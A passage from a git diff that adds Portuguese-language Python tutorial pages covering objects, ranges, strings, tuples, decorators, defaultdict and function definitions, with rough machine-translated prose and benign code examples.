+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(42), object) 
+ True 
+```
+
+## Funções são objetos também
+
+> No Python, as funções são objetos de primeira classe.
+
+_Funções_ em Python também são _objetos_ , criados com uma _identidade_ , _tipo_ e _valor_ . Eles também podem ser passados ​​para outras _funções_ :
+
+```python
+>>> id(dir) 
+ 4568035688 
+ >>> type(dir) 
+ <class 'builtin_function_or_method'> 
+ >>> dir(dir) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+ >>> issubclass(type(dir), object) 
+ True 
+```
+
+Também é possível ligar funções a um nome e chamar a função ligada usando esse nome:
+
+```python
+>>> a = dir 
+ >>> print(a) 
+ <built-in function dir> 
+ >>> a(a) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+```
+
+Recursos:
+
+*   [Clique aqui](https://www.jeffknupp.com/blog/2014/06/18/improve-your-python-python-classes-and-object-oriented-programming/) para saber mais.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/ranges/index.md b/client/src/guide/portuguese/python/data-structures/ranges/index.md
new file mode 100644
index 0000000000..be86125be7
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/ranges/index.md
@@ -0,0 +1,87 @@
+---
+title: The Python Range
+localeTitle: O intervalo do Python
+---
+## Faixas Python
+
+Em vez de ser uma função, um intervalo é, na verdade, um [tipo de sequência imutável](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types) e é comumente usado para fazer um loop de um número específico de vezes em loops forçados.
+
+**Criação:**
+
+`ranges` são criados usando o construtor de `range` . Os parâmetros para o construtor são:
+
+*   `start` : o primeiro valor inclusivo do intervalo (inteiro opcional, o padrão é 0).
+*   `stop` : Valor de parada exclusivo, o intervalo é interrompido quando esse valor ou maior for fornecido (inteiro obrigatório).
+*   `step` : A quantia adicionada ao valor atual para obter o próximo valor (inteiro opcional, o padrão é 1).
+
+```python
+>>> range(10)          # Only the stop parameter is required. 
+ range(0, 10) 
+ >>> range(0, 10)       # Default for start parameter is 0. 
+ range(0, 10) 
+ >>> range(0, 10, 1)    # Default for step is 1\. Start parameter is required if 
+ step is needed. 
+ range(0, 10) 
+```
+
+**Exemplos:**
+
+Como os `ranges` são iteráveis, eles podem ser passados ​​para a `list` e os construtores da `tuple` para criar esses tipos de sequências. Usando esse fato, podemos visualizar alguns exemplos:
+
+```python
+>>> list(range(10))     # range as argument for list constructor. 
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 
+ >>> tuple(range(10))    # range as argument for tuple constructor. 
+ (0, 1, 2, 3, 4, 5, 6, 7, 8, 9) 
+```
+
+`ranges` comprimento zero:
+
+```python
+>>> list(range(10, 0))        # start greater than stop with postive step. 
+ [] 
+ >>> list(range(10, 10))       # start equal to stop with postive step. 
+ [] 
+ >>> list(range(10, 10, -1))   # start equal to stop with negative step. 
+ [] 
+ >>> list(range(0, 10, -1))    # start less than stop with negative step. 
+ [] 
+```
+
+`ranges` com argumentos de passo:
+
+```python
+>>> list(range(0, 10, 2))       # next value would be 10, stops at 8. 
+ [0, 2, 4, 6, 8] 
+ >>> list(range(0, 10, 3))       # next value would be 12, stops at 9. 
+ [0, 3, 6, 9] 
+ >>> list(range(0, 10, 4))       # next value would be 12, stops at 8. 
+ [0, 4, 8] 
+ >>> list(range(10, 0, -1))      # negative step makes decreasing ranges. 
+ [10, 9, 8, 7, 6, 5, 4, 3, 2, 1] 
+ >>> list(range(-5, -30, -3))    # negative integers are valid arguments. 
+ [-5, -8, -11, -14, -17, -20, -23, -26, -29] 
+```
+
+**Benefícios:**
+
+O benefício de usar o `range` é que, independentemente do tamanho de um intervalo especificado, apenas uma pequena quantidade de memória é necessária para armazenar o `range` , os valores para iniciar, parar e etapa. Os valores individuais dos `ranges` são calculados após a iteração.
+
+```python
+>>> import sys 
+ >>> a_range = range(1000000) 
+ >>> a_list = list(a_range) 
+ >>> a_tuple = tuple(a_range) 
+ >>> sys.getsizeof(a_range) 
+ 48 
+ >>> sys.getsizeof(a_list) 
+ 9000112 
+ >>> sys.getsizeof(a_tuple) 
+ 8000048 
+```
+
+### Mais Inforamtion:
+
+[Python Doc - Ranges](https://docs.python.org/3/library/stdtypes.html#ranges)
+
+**TODO: os `ranges` métodos executam e não implementam**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/scopes/index.md b/client/src/guide/portuguese/python/data-structures/scopes/index.md
new file mode 100644
index 0000000000..51a46a89c7
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/scopes/index.md
@@ -0,0 +1,13 @@
+---
+title: The Python Scopes
+localeTitle: Os escopos do Python
+---
+**TODO: NOTA**
+
+*   Isso pertence perto do bloco de código e informações de recuo.
+*   Isso também está relacionado a variáveis, pois a localização e vinculação de nomes está relacionada a escopos.
+
+**TODO: CONTEÚDO**
+
+*   `global`
+*   `nonlocal`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/strings/index.md b/client/src/guide/portuguese/python/data-structures/strings/index.md
new file mode 100644
index 0000000000..4c17f4730b
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/strings/index.md
@@ -0,0 +1,36 @@
+---
+title: The Python Strings
+localeTitle: As cordas do Python
+---
+O Python permite que objetos `str` , ou _strings_ , sejam expressos de algumas maneiras diferentes:
+
+*   Aspas simples: `'Single quote strings can have "double" quotes inside.'`
+    
+*   Aspas duplas: `"Double quote strings can have 'single' quotes inside."`
+    
+*   Triplo citado:
+    
+    ```
+    """Triple quoted strings can span multiple lines. 
+     Unescaped "double" and 'single' quotes in triple quoted strings are retained.""" 
+     
+     '''Triple quoted strings can be 'single'or "double" quotes. 
+     Unescaped newlines are also retained.''' 
+    
+    ```
+    
+*   Imutável: Você não pode editar / alterar diretamente uma string do Python depois de criá-la. Por exemplo, se você tentar reatribuir / alterar diretamente a primeira letra de uma string, um erro será lançado.
+    
+    ```
+    >>> foo = "my string" 
+     >>> foo[0] = "a" 
+     Traceback (most recent call last): 
+            File "<stdin>", line 1, in <module> 
+     TypeError: 'str' object does not support item assignment 
+    
+    ```
+    
+
+## Referência:
+
+[Tipo de Sequência de Texto _str_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/tuples/index.md b/client/src/guide/portuguese/python/data-structures/tuples/index.md
new file mode 100644
index 0000000000..d933312d74
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/tuples/index.md
@@ -0,0 +1,196 @@
+---
+title: The Tuples
+localeTitle: As tuplas
+---
+## As tuplas
+
+Uma tupla é uma sequência de objetos Python. As tuplas são imutáveis, o que significa que não podem ser modificadas após a criação, ao contrário das listas.
+
+**Criação:**
+
+Uma `tuple` vazia é criada usando um par de parênteses, `()` :
+
+```shell
+    >>> empty_tuple = () 
+    >>> print(empty_tuple) 
+    () 
+    >>> type(empty_tuple) 
+    <class 'tuple'> 
+    >>> len(empty_tuple) 
+    0 
+```
+
+Uma `tuple` com elementos é criada ao separar os elementos com vírgulas (os parêntesis circundantes, `()` são opcionais com exceções):
+
+```shell
+    >>> tuple_1 = 1, 2, 3       # Create tuple without round brackets. 
+    >>> print(tuple_1) 
+    (1, 2, 3) 
+    >>> type(tuple_1) 
+    <class 'tuple'> 
+    >>> len(tuple_1) 
+    3 
+    >>> tuple_2 = (1, 2, 3)     # Create tuple with round brackets. 
+    >>> print(tuple_2) 
+    (1, 2, 3) 
+    >>> tuple_3 = 1, 2, 3,      # Trailing comma is optional. 
+    >>> print(tuple_3) 
+    (1, 2, 3) 
+    >>> tuple_4 = (1, 2, 3,)    # Trailing comma in round brackets is also optional. 
+    >>> print(tuple_4) 
+    (1, 2, 3) 
+```
+
+Uma `tuple` com um único elemento deve ter a vírgula final (com ou sem colchetes):
+
+```shell
+    >>> not_tuple = (2)    # No trailing comma makes this not a tuple. 
+    >>> print(not_tuple) 
+    2 
+    >>> type(not_tuple) 
+    <class 'int'> 
+    >>> a_tuple = (2,)     # Single element tuple. Requires trailing comma. 
+    >>> print(a_tuple) 
+    (2,) 
+    >>> type(a_tuple) 
+    <class 'tuple'> 
+    >>> len(a_tuple) 
+    1 
+    >>> also_tuple = 2,    # Round brackets omitted. Requires trailing comma. 
+    >>> print(also_tuple) 
+    (2,) 
+    >>> type(also_tuple) 
+    <class 'tuple'> 
+```
+
+Colchetes são necessários em casos de ambigüidade (se a tupla fizer parte de uma expressão maior):
+
+> Note que na verdade é a vírgula que faz uma tupla, não os parênteses. Os parênteses são opcionais, exceto no caso da tupla vazia, ou quando são necessários para evitar ambigüidade sintática. Por exemplo, `f(a, b, c)` é uma chamada de função com três argumentos, enquanto `f((a, b, c))` é uma chamada de função com uma 3-tupla como o único argumento.
+
+```shell
+    >>> print(1,2,3,4,)          # Calls print with 4 arguments: 1, 2, 3, and 4 
+    1 2 3 4 
+    >>> print((1,2,3,4,))        # Calls print with 1 argument: (1, 2, 3, 4,) 
+    (1, 2, 3, 4) 
+    >>> 1, 2, 3 == (1, 2, 3)     # Equivalent to 1, 2, (3 == (1, 2, 3)) 
+    (1, 2, False) 
+    >>> (1, 2, 3) == (1, 2, 3)   # Use surrounding round brackets when ambiguous. 
+    True 
+```
+
+Uma `tuple` também pode ser criada com o construtor da `tuple` :
+
+```shell
+    >>> empty_tuple = tuple() 
+    >>> print(empty_tuple) 
+    () 
+    >>> tuple_from_list = tuple([1,2,3,4]) 
+    >>> print(tuple_from_list) 
+    (1, 2, 3, 4) 
+    >>> tuple_from_string = tuple("Hello campers!") 
+    >>> print(tuple_from_string) 
+    ('H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!') 
+    >>> a_tuple = 1, 2, 3 
+    >>> b_tuple = tuple(a_tuple)    # If the constructor is called with a tuple for 
+    the iterable, 
+    >>> a_tuple is b_tuple          # the tuple argument is returned. 
+    True 
+```
+
+**Acessando elementos de uma `tuple` :**
+
+Elementos de `tuples` são acessados ​​e indexados da mesma maneira que as `lists` .
+
+```shell
+    >>> my_tuple = 1, 2, 9, 16, 25 
+    >>> print(my_tuple) 
+    (1, 2, 9, 16, 25) 
+```
+
+_Zero indexado_
+
+```shell
+    >>> my_tuple[0] 
+    1 
+    >>> my_tuple[1] 
+    2 
+    >>> my_tuple[2] 
+    9 
+```
+
+_Envolva a indexação_
+
+```shell
+    >>> my_tuple[-1] 
+    25 
+    >>> my_tuple[-2] 
+    16 
+```
+
+**Embalagem e Desembalagem:**
+
+A declaração `t = 12345, 54321, 'hello!'` é um exemplo de empacotamento de tupla: os valores `12345` , `54321` e `'hello!'` são embalados juntos em uma tupla. A operação inversa também é possível:
+
+```shell
+    >>> x, y, z = t 
+```
+
+Isso é chamado, apropriadamente, de descompactação de seqüência e funciona para qualquer sequência do lado direito. A descompactação de sequências requer que haja tantas variáveis ​​no lado esquerdo do sinal de igual quanto há elementos na sequência. Observe que a atribuição múltipla é realmente apenas uma combinação de empacotamento de tupla e descompactação de sequência.
+
+```shell
+    >>> t = 1, 2, 3    # Tuple packing. 
+    >>> print(t) 
+    (1, 2, 3) 
+    >>> a, b, c = t    # Sequence unpacking. 
+    >>> print(a) 
+    1 
+    >>> print(b) 
+    2 
+    >>> print(c) 
+    3 
+    >>> d, e, f = 4, 5, 6    # Multiple assignment combines packing and unpacking. 
+    >>> print(d) 
+    4 
+    >>> print(e) 
+    5 
+    >>> print(f) 
+    6 
+    >>> a, b = 1, 2, 3       # Multiple assignment requires each variable (right) 
+    have a matching element (left). 
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+    ValueError: too many values to unpack (expected 2) 
+```
+
+**Imutável:**
+
+`tuples` são contêineres imutáveis, garantindo **que os** objetos que contêm não serão alterados. Ele **não** garante que os objetos que contém não mudará:
+
+```shell
+    >>> a_list = [] 
+    >>> a_tuple = (a_list,)    # A tuple (immutable) with a list (mutable) element. 
+    >>> print(a_tuple) 
+    ([],) 
+ 
+    >>> a_list.append("Hello campers!") 
+    >>> print(a_tuple)         # Element of the immutable is mutated. 
+    (['Hello campers!'],) 
+```
+
+**Usos:**
+
+Funções só podem retornar um único valor, no entanto, uma `tuple` heterogênea pode ser usada para retornar vários valores de uma função. Um exemplo é a função de `enumerate` interna que retorna um iterável de `tuples` heterogêneas:
+
+```shell
+    >>> greeting = ["Hello", "campers!"] 
+    >>> enumerator = enumerate(greeting) 
+    >>> enumerator.next() 
+    >>> enumerator.__next__() 
+    (0, 'Hello') 
+    >>> enumerator.__next__() 
+    (1, 'campers!') 
+```
+
+### Mais Inforamtion:
+
+[Documentos em Python - Tuplas](https://docs.python.org/3/library/stdtypes.html#tuples)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/decorators/index.md b/client/src/guide/portuguese/python/decorators/index.md
new file mode 100644
index 0000000000..81362649d2
--- /dev/null
+++ b/client/src/guide/portuguese/python/decorators/index.md
@@ -0,0 +1,263 @@
+---
+title: Python Decorators
+localeTitle: Decoradores Python
+---
+Os decoradores funcionam essencialmente como invólucros. Eles modificam o comportamento do código antes e depois da execução de uma função de destino, sem a necessidade de modificar a função em si, aumentando a funcionalidade original, decorando-a.
+
+Antes de entrar em detalhes sobre decoradores, existem alguns conceitos que devem ser claros. No Python, funções são objetos e podemos fazer muitas coisas úteis com elas.
+
+> ### Atribuindo funtions a uma variável:
+```
+def greet(name): 
+  return "Hello "+name 
+ greet_someone = greet 
+ print greet_someone("John") 
+```
+
+> Saída: Olá John
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXGk)
+
+> ### Definindo funções dentro de outras funções:
+```
+def greet(name): 
+  def get_message(): 
+    return "Hello " 
+  result = get_message()+name 
+  return result 
+ print(greet("John")) 
+```
+
+> Saída: Olá John
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXGu)
+
+> ### Funções também podem ser passadas como parâmetros para outras funções:
+```
+def greet(name): 
+  return "Hello " + name 
+ def call_func(func): 
+  other_name = "John" 
+  return func(other_name) 
+ print call_func(greet) 
+```
+
+> Saída: Olá John
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHC)
+
+> ### Funções podem retornar outras funções:
+> 
+> Em outras palavras, funções gerando outras funções.
+```
+def compose_greet_func(): 
+  def get_message(): 
+    return "Hello there!" 
+  return get_message 
+ greet = compose_greet_func() 
+ print(greet()) 
+```
+
+Saída: Olá!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHG)
+
+> ### Funções internas têm acesso ao escopo de inclusão
+> 
+> Mais comumente conhecido como [fechamento](http://www.shutupandship.com/2012/01/python-closures-explained.html) . Um padrão muito poderoso que vamos encontrar ao construir decoradores. Outra coisa a notar, o Python só permite [acesso de leitura ao escopo externo](http://www.tech-thoughts-blog.com/2013/07/writing-closure-in-python.html) e não à atribuição. Observe como modificamos o exemplo acima para ler um argumento "name" do escopo de inclusão da função interna e retornar a nova função.
+```
+def compose_greet_func(name): 
+  def get_message(): 
+      return "Hello there "+name+"!" 
+  return get_message 
+ greet = compose_greet_func("John") 
+ print(greet()) 
+```
+
+> Saída: Olá, John!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHI)
+
+## Composição de decoradores
+
+Decoradores de função são simplesmente wrappers para funções existentes. Colocando as idéias mencionadas acima, podemos construir um decorador. Neste exemplo, vamos considerar uma função que envolve a saída da string de outra função por tags p.
+```
+def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ my_get_text = p_decorate(get_text) 
+ print (my_get_text("John")) 
+```
+
+> Saída: `<p>` lorem ipsum, John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHL)
+
+Esse foi o nosso primeiro decorador. Uma função que usa outra função como argumento, gera uma nova função, aumentando o trabalho da função original e retornando a função gerada para que possamos usá-la em qualquer lugar. Para que o `get_text` seja decorado por `p_decorate` , basta atribuir _texto ao resultado de p_ decorar.
+```
+get_text = p_decorate(get_text) 
+ print (get_text("John")) 
+```
+
+> Saída: lorem ipsum, John dolor sit amet
+
+Outra coisa a notar é que nossa função decorada leva um argumento de nome. Tudo o que tivemos que fazer no decorador é deixar o wrapper do get\_text passar esse argumento.
+
+> ### Sintaxe do Decorador do Python
+
+O Python torna a criação e o uso de decoradores um pouco mais limpos e mais agradáveis ​​para o programador através de algum [açúcar sintático.](http://en.wikipedia.org/wiki/Syntactic_sugar) Para decorar o _texto, não precisamos obter o_ text = p _decorator (obter_ texto) Há um atalho para isso, que é mencionar o nome da função de decoração antes da função a ser decorada. O nome do decorador deve ser perpendido com um símbolo @.
+```
+def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ @p_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print get_text("John") 
+```
+
+> Saída: `<p>` lorem ipsum, John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHN)
+
+Agora vamos considerar que queríamos decorar nossa função get\_text por 2 outras funções para envolver uma tag div e forte em torno da saída da string.
+```
+def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ def strong_decorate(func): 
+    def func_wrapper(name): 
+        return "`<strong>`{0}`</strong>`".format(func(name)) 
+    return func_wrapper 
+ 
+ def div_decorate(func): 
+    def func_wrapper(name): 
+        return "`<div>`{0}`</div>`".format(func(name)) 
+    return func_wrapper 
+```
+
+Com a abordagem básica, a decoração de get\_text seria ao longo das linhas de
+```
+get_text = div_decorate(p_decorate(strong_decorate(get_text))) 
+```
+
+Com a sintaxe do decorador do Python, a mesma coisa pode ser obtida com um poder muito mais expressivo.
+```
+@div_decorate 
+ @p_decorate 
+ @strong_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print (get_text("John")) 
+```
+
+> Saída: `<div><p><strong>` lorem ipsum, John dolor sit amet `</strong></p></div>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHQ)
+
+Uma coisa importante a notar aqui é que a ordem de definir nossos decoradores é importante. Se a ordem foi diferente no exemplo acima, a saída teria sido diferente. ## Decorating Methods No Python, métodos são funções que esperam que seu primeiro parâmetro seja uma referência ao objeto atual. Podemos construir decoradores para métodos da mesma maneira, enquanto levamos em consideração a função de wrapper.
+```
+def p_decorate(func): 
+  def func_wrapper(self): 
+    return "`<p>`{0}`</p>`".format(func(self)) 
+  return func_wrapper 
+ 
+ class Person(object): 
+  def __init__(self): 
+    self.name = "John" 
+    self.family = "Doe" 
+  @p_decorate 
+  def get_fullname(self): 
+    return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+```
+
+> Saída: `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXH2)
+
+Uma abordagem muito melhor seria tornar nosso decorador útil para funções e métodos. Isso pode ser feito colocando [\* args e \*\* kwargs](http://docs.python.org/2/tutorial/controlflow.html#arbitrary-argument-lists) como parâmetros para o wrapper, então ele pode aceitar qualquer número arbitrário de argumentos e argumentos de palavras-chave.
+```
+def p_decorate(func): 
+   def func_wrapper(*args, **kwargs): 
+       return "`<p>`{0}`</p>`".format(func(*args, **kwargs)) 
+   return func_wrapper 
+ 
+ class Person(object): 
+    def __init__(self): 
+        self.name = "John" 
+        self.family = "Doe" 
+    @p_decorate 
+    def get_fullname(self): 
+        return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+```
+
+> Saída: `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXH5)
+
+### Transmitindo argumentos aos decoradores Olhando para o exemplo anterior ao anterior, você pode notar como os decoradores no exemplo são redundantes. 3 decoradores (div _decoram, p_ decoram, strong\_decorate), cada um com a mesma funcionalidade, mas envolvendo a string com tags diferentes. Nós podemos definitivamente fazer muito melhor que isso. Por que não ter uma implementação mais geral para uma que usa a tag como uma string? Sim por favor!
+```
+def tags(tag_name): 
+    def tags_decorator(func): 
+        def func_wrapper(name): 
+            return "<{0}>{1}</{0}>".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    return "Hello "+name 
+ 
+ print (get_text("John")) 
+```
+
+> Saída: `<p>` Olá, John `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXH6)
+
+Demorou um pouco mais de trabalho neste caso. Os decoradores esperam receber uma função como argumento, e é por isso que teremos que construir uma função que leve esses argumentos extras e gere nosso decorador na hora. No exemplo acima, tags, é o nosso gerador de decorador. Depuração de funções decoradas No final do dia, os decoradores estão apenas envolvendo nossas funções, no caso de depuração que pode ser problemática, já que a função wrapper não carrega o nome, módulo e docstring da função original. Baseado no exemplo acima, se fizermos:
+```
+print (get_text.__name__) 
+```
+
+> Saída: func _wrapper A saída era esperada para ser obter_ texto ainda, os atributos **name** , **doc** e **module** de get _text foram substituídos pelos do wrapper (func_ wrapper. Obviamente podemos re-setá-los dentro de func\_wrapper mas o Python fornece muito maneira mais agradável. ### Functools para o resgate
+```
+from functools import wraps 
+ def tags(tag_name): 
+    def tags_decorator(func): 
+        @wraps(func) 
+        def func_wrapper(name): 
+            return "`<{0}>`{1}`</{0}>`".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    """returns some text""" 
+    return "Hello "+name 
+ 
+ print (get_text.__name__) # get_text 
+ print (get_text.__doc__) # returns some text 
+ print (get_text.__module__) # __main__ 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Código de execução](https://repl.it/CXHb)
+
+Você pode notar na saída que os atributos de get\_text são os corretos agora.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/defaultdict/index.md b/client/src/guide/portuguese/python/defaultdict/index.md
new file mode 100644
index 0000000000..37d6bacd43
--- /dev/null
+++ b/client/src/guide/portuguese/python/defaultdict/index.md
@@ -0,0 +1,137 @@
+---
+title: Python defaultdict
+localeTitle: Python defaultdict
+---
+## Python defaultdict
+
+O dicionário é uma das estruturas de dados mais usadas no Python. Um dicionário é uma coleção desordenada de itens e geralmente temos chaves e valores armazenados em um dicionário. Vejamos alguns exemplos de como o dicionário é normalmente usado.
+
+```python
+# dictionary declaration 1 
+ dict1 = dict() 
+ 
+ # dictionary declaration 2 
+ dict2 = {} 
+ 
+ # Add items to the dictionary 
+ # The syntax to add and retrieve items is same for either of the two objects we defined above. 
+ key = "X" 
+ value = "Y" 
+ dict1[key] = value 
+ 
+ # The dictionary doesn't have any specific data-type. 
+ # So, the values can be pretty diverse. 
+ dict1[key] = dict2 
+```
+
+Vamos agora olhar para algumas formas de recuperação.
+
+```python
+# Since "X" exists in our dictionary, this will retrieve the value 
+ value = dict1[key] 
+ 
+ # This key doesn't exist in the dictionary. 
+ # So, we will get a `KeyError` 
+ value = dict1["random"] 
+```
+
+### Evitando KeyError: Use a função .get
+
+Caso a chave fornecida não exista no dicionário, o Python lançará um `KeyError` . Existe uma solução simples para isso. Vamos ver como podemos evitar o `KeyError` usando o função `.get` embutida para dicionários.
+
+```python
+dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ # The most basic way of doing this is to check if the key 
+ # exists in the dictionary or not and only retrieve if the 
+ # key exists. Otherwise not. 
+ if random_key in dict_: 
+  print(dict_[random_key]) 
+ else: 
+  print("Key = {} doesn't exist in the dictionary".format(dict_)) 
+```
+
+Muitas vezes, estamos bem recebendo um valor padrão quando a chave não existe. Por exemplo, quando construindo um contador. Existe uma maneira melhor de obter valores padrão do dicionário em caso de faltando chaves em vez de depender do padrão `if-else` .
+
+```python
+# Let's say we want to build a frequency counter for items in the following array 
+ arr = [1,2,3,1,2,3,4,1,2,1,4,1,2,3,1] 
+ 
+ freq = {} 
+ 
+ for item in arr: 
+  # Fetch a value of 0 in case the key doesn't exist. Otherwise, fetch the stored value 
+  freq[item] = freq.get(item, 0) + 1 
+```
+
+Portanto, `get(<key>, <defaultval>)` é uma operação útil para recuperar o valor padrão de qualquer chave do dicionário. O problema com este método vem quando queremos lidar com estruturas de dados mutáveis ​​como valores, por exemplo, `list` ou `set` .
+
+```python
+dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ dict_[random_key] = dict_.get(random_key, []).append("Hello World!") 
+ print(dict_) # {'random': None} 
+ 
+ dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()).add("Hello World!") 
+ print(dict_) # {'random': None} 
+```
+
+Você viu o problema?
+
+O novo `set` ou a `list` não são atribuídos à chave do dicionário. Devemos atribuir uma nova `list` ou um `set` para a chave em caso de falta de valor e, em seguida, `append` ou `add` respectivamente. Ley olha para um exemplo disso.
+
+```python
+dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+ print(dict_) # {'random': set(['Hello World!'])}. Yay! 
+```
+
+### Evitando KeyError: Use defaultdict
+
+Isso funciona na maioria das vezes. No entanto, existe uma maneira melhor de fazer isso. Uma maneira mais `pythonic` . O `defaultdict` é uma subclasse da classe dict incorporada. O `defaultdict` simplesmente atribui o valor padrão que especificamos no caso de uma chave ausente. Então, os dois passos:
+
+```python
+dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+```
+
+agora pode ser combinado em um único passo. Por exemplo
+
+```python
+from collections import defaultdict 
+ 
+ # Yet another random key 
+ random_key = "random_key" 
+ 
+ # list defaultdict 
+ list_dict_ = defaultdict(list) 
+ 
+ # set defaultdict 
+ set_dict_ = defaultdict(set) 
+ 
+ # integer defaultdict 
+ int_dict_ = defaultdict(int) 
+ 
+ list_dict_[random_key].append("Hello World!") 
+ set_dict_[random_key].add("Hello World!") 
+ int_dict_[random_key] += 1 
+ 
+ """ 
+  defaultdict(<class 'list'>, {'random_key': ['Hello World!']}) 
+  defaultdict(<class 'set'>, {'random_key': {'Hello World!'}}) 
+  defaultdict(<class 'int'>, {'random_key': 1}) 
+ """ 
+ print(list_dict_, set_dict_, int_dict_) 
+```
+
+* * *
+
+[Documentos oficiais](https://docs.python.org/2/library/collections.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/defining-functions/index.md b/client/src/guide/portuguese/python/defining-functions/index.md
new file mode 100644
index 0000000000..91aca41f4e
--- /dev/null
+++ b/client/src/guide/portuguese/python/defining-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Defining Functions
+localeTitle: Python Definindo Funções
+---
+[Documentos em Python](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
+
+Podemos criar uma função que grava a série Fibonacci em um limite arbitrário:
+```
+>>> def fib(n):    # write Fibonacci series up to n 
+ ...     """Print a Fibonacci series up to n.""" 
+ ...     a, b = 0, 1 
+ ...     while a < n: 
+ ...         print(a, end=' ') 
+ ...         a, b = b, a+b 
+ ...     print() 
+ ... 
+ >>> # Now call the function we just defined: 
+ ... fib(2000) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 
+```
+
